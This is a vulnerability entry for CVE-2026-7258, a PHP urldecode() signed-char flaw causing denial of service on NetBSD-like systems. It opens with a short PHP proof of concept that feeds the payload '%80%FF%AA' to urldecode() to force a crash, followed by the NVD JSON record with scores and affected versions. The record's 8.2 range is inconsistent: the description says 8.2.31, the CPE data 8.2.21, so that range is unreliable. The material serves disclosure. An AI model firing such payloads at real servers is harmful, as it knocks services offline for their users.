CVE-2026-7258

<?php // PoC for CVE-2026-7258 // This script attempts to trigger the DoS by passing a byte that becomes a negative signed char. // On systems like NetBSD where char is signed, 0x80 is -128. // Construct a payload that urldecode decodes to a byte with the high bit set (e.g., 0x80 - 0xFF) // %80 decodes to 0x80, which is -128 in signed char. $payload = "%80%FF%AA"; // Trigger the vulnerable function // In vulnerable versions, this may cause a segmentation fault due to negative array offset. urldecode($payload); echo "PoC executed. If the server did not crash, it might be patched or running on an unaffected architecture.\n"; ?>

{"cve": {"id": "CVE-2026-7258", "sourceIdentifier": "[email protected]", "published": "2026-05-10T05:16:11.360", "lastModified": "2026-05-12T17:41:43.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In PHP versions 8.2.* before 8.2.31, 8.3.* before 8.3.31, 8.4.* before 8.4.21, and 8.5.* before 8.5.6, some functions, including urldecode(), pass signed char to ctype functions (like isxdigit()). On the systems with default signed char and optimized table-lookup ctype functions - such as NetBSD - this can lead to accessing array with negative offset, which can trigger a denial of service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.21", "matchCriteriaId": "63280F16-DE85-411A-BFFF-FB631AC43E09"}, {"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0", "versionEndExcluding": "8.3.31", "matchCriteriaId": "9DBBB51D-F0C4-4CEC-9B6B-33D0BF0044A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndExcluding": "8.4.21", "matchCriteriaId": "BA663C03-392C-41CC-BD11-4A1245203C42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.0", "versionEndExcluding": "8.5.6", "matchCriteriaId": "6101DA12-5AA1-4882-A52A-61FB74254F9A"}]}]}], "references": [{"url": "https://github.com/php/php-src/security/advisories/GHSA-m8rr-4c36-8gq4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}